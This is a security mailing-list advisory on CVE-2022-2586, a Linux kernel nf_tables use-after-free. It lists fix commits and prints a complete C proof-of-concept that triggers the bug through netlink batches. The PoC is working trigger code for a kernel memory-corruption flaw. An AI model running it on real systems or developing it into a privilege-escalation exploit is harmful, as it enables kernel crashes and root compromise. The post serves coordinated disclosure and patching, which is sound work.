oss-sec mailing list archives

Re: CVE-2022-2586 - Linux kernel nf_tables cross-table reference UAF


From: Thadeu Lima de Souza Cascardo <cascardo () canonical com>
Date: Wed, 17 Aug 2022 17:26:52 -0300

On Tue, Aug 09, 2022 at 02:10:35PM -0300, Thadeu Lima de Souza Cascardo wrote:
CVE-2022-2586 - Linux kernel nf_tables cross-table reference UAF

It was discovered that a nft object or expression could reference a nft set on
a different nft table, leading to a use-after-free once that table was deleted.

Team Orca of Sea Security (@seasecresponse) working with Trend Micro's Zero Day
Initiative discovered that this vulnerability could be exploited for Local
Privilege Escalation. This has been reported as ZDI-CAN-17470, and assigned
CVE-2022-2586.

This bug was introduced by commit 958bee14d071 ("netfilter: nf_tables: use new
transaction infrastructure to handle sets"), which is present since v3.16-rc1.

Exploiting it requires CAP_NET_ADMIN in any user or network namespace.

A PoC that will trigger KASAN is going to be posted in a week.

Fixes have been sent to netfilter-devel () vger kernel org and are at
https://lore.kernel.org/netfilter-devel/20220809170148.164591-1-cascardo () canonical com/T/#t.

These have been merged as commits:

470ee20e069a6d05ae549f7d0ef2bdbcee6a81b2
95f466d22364a33d183509629d0879885b4f547e
36d5b2913219ac853908b0f1c664345e04313856

And here is the PoC. It should be linked to libmnl and libnftnl.

#include <netdb.h>
#include <linux/netfilter.h>
#include <linux/netfilter/nf_tables.h>
#include <libnftnl/table.h>
#include <libnftnl/set.h>
#include <libnftnl/object.h>
#include <libnftnl/expr.h>
#include <libmnl/libmnl.h>
#include <err.h>

int main(int arg, char **argv)
{

        struct mnl_socket *s;
        struct mnl_nlmsg_batch *batch;
        struct nlmsghdr *nh;
        char buf[16384];
        int r;
        int seq = 0;

        s = mnl_socket_open(NETLINK_NETFILTER);
        if (!s)
                err(1, "failed to create netfilter socket");

        /* Create table that will be deleted */
        char *table_name = "table1";
        struct nftnl_table *table;
        table = nftnl_table_alloc();
        nftnl_table_set_str(table, NFTNL_TABLE_NAME, table_name);

        /* Create table where an object reference will be */
        char *table2_name = "table2";
        struct nftnl_table *table2;
        table2 = nftnl_table_alloc();
        nftnl_table_set_str(table2, NFTNL_TABLE_NAME, table2_name);

        /* Create object and add it to table1 */
        char *obj_name = "obj1";
        struct nftnl_obj *obj;
        obj = nftnl_obj_alloc();
        nftnl_obj_set_str(obj, NFTNL_OBJ_NAME, obj_name);
        nftnl_obj_set_str(obj, NFTNL_OBJ_TABLE, table_name);
        nftnl_obj_set_u32(obj, NFTNL_OBJ_TYPE, NFT_OBJECT_COUNTER);
        nftnl_obj_set_u64(obj, NFTNL_OBJ_CTR_BYTES, 0);

        /* Add set to table2 */
        char *set_name = "set1";
        struct nftnl_set *set;
        set = nftnl_set_alloc();
        nftnl_set_set_str(set, NFTNL_SET_TABLE, table2_name);
        nftnl_set_set_str(set, NFTNL_SET_NAME, set_name);
        nftnl_set_set_u32(set, NFTNL_SET_FAMILY, NFPROTO_IPV4);
        nftnl_set_set_u32(set, NFTNL_SET_KEY_LEN, 8);
        nftnl_set_set_u32(set, NFTNL_SET_ID, htonl(0xcafe));
        nftnl_set_set_u32(set, NFTNL_SET_FLAGS, NFT_SET_OBJECT|NFT_SET_ANONYMOUS);
        nftnl_set_set_u32(set, NFTNL_SET_OBJ_TYPE, NFT_OBJECT_COUNTER);

        /* Now create a reference to the object at table1 */
        /* Aha! So this seems to be possible because one can refer to a set in a batch by use of SET_ID instead of 
SET_NAME */
        /* So this must be in the same batch. */
        struct nftnl_set *sx = nftnl_set_alloc();
        struct nftnl_set_elem *slem = nftnl_set_elem_alloc();
        int klen[64];
        nftnl_set_set_str(sx, NFTNL_SET_TABLE, table_name);
        nftnl_set_set_u32(sx, NFTNL_SET_ID, htonl(0xcafe));
        nftnl_set_elem_set(slem, NFTNL_SET_ELEM_KEY, &klen, 8);
        nftnl_set_elem_set_str(slem, NFTNL_SET_ELEM_OBJREF, obj_name);
        nftnl_set_elem_add(sx, slem);
        
        batch = mnl_nlmsg_batch_start(buf, sizeof(buf));
        nftnl_batch_begin(mnl_nlmsg_batch_current(batch), seq++);
        mnl_nlmsg_batch_next(batch);

        nh = nftnl_table_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), NFT_MSG_NEWTABLE, NFPROTO_IPV4, NLM_F_CREATE, 
seq++);
        nftnl_table_nlmsg_build_payload(nh, table);
        mnl_nlmsg_batch_next(batch);

        nh = nftnl_table_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), NFT_MSG_NEWTABLE, NFPROTO_IPV4, NLM_F_CREATE, 
seq++);
        nftnl_table_nlmsg_build_payload(nh, table2);
        mnl_nlmsg_batch_next(batch);

        nh = nftnl_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), NFT_MSG_NEWOBJ, NFPROTO_IPV4, NLM_F_CREATE, seq++);
        nftnl_obj_nlmsg_build_payload(nh, obj);
        mnl_nlmsg_batch_next(batch);

        nh = nftnl_set_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), NFT_MSG_NEWSET, NFPROTO_IPV4, NLM_F_CREATE, 
seq++);
        nftnl_set_nlmsg_build_payload(nh, set);
        mnl_nlmsg_batch_next(batch);

        nh = nftnl_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), NFT_MSG_NEWSETELEM, NFPROTO_IPV4, NLM_F_CREATE, 
seq++);
        nftnl_set_elems_nlmsg_build_payload(nh, sx);
        mnl_nlmsg_batch_next(batch);

        nftnl_batch_end(mnl_nlmsg_batch_current(batch), seq++);
        mnl_nlmsg_batch_next(batch);

        r = mnl_socket_sendto(s, mnl_nlmsg_batch_head(batch), mnl_nlmsg_batch_size(batch));
        if (r < 0)
                err(1, "failed to send message");

        /* Delete table with the object */
        batch = mnl_nlmsg_batch_start(buf, sizeof(buf));
        nftnl_batch_begin(mnl_nlmsg_batch_current(batch), seq++);
        mnl_nlmsg_batch_next(batch);

        nh = nftnl_table_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), NFT_MSG_DELTABLE, NFPROTO_IPV4, NLM_F_CREATE, 
seq++);
        nftnl_table_nlmsg_build_payload(nh, table);
        mnl_nlmsg_batch_next(batch);

        nftnl_batch_end(mnl_nlmsg_batch_current(batch), seq++);
        mnl_nlmsg_batch_next(batch);

        r = mnl_socket_sendto(s, mnl_nlmsg_batch_head(batch), mnl_nlmsg_batch_size(batch));

        /* Delete second table */
        batch = mnl_nlmsg_batch_start(buf, sizeof(buf));
        nftnl_batch_begin(mnl_nlmsg_batch_current(batch), seq++);
        mnl_nlmsg_batch_next(batch);

        nh = nftnl_table_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), NFT_MSG_DELTABLE, NFPROTO_IPV4, NLM_F_CREATE, 
seq++);
        nftnl_table_nlmsg_build_payload(nh, table2);
        mnl_nlmsg_batch_next(batch);

        nftnl_batch_end(mnl_nlmsg_batch_current(batch), seq++);
        mnl_nlmsg_batch_next(batch);

        r = mnl_socket_sendto(s, mnl_nlmsg_batch_head(batch), mnl_nlmsg_batch_size(batch));


        return 0;

}


Current thread: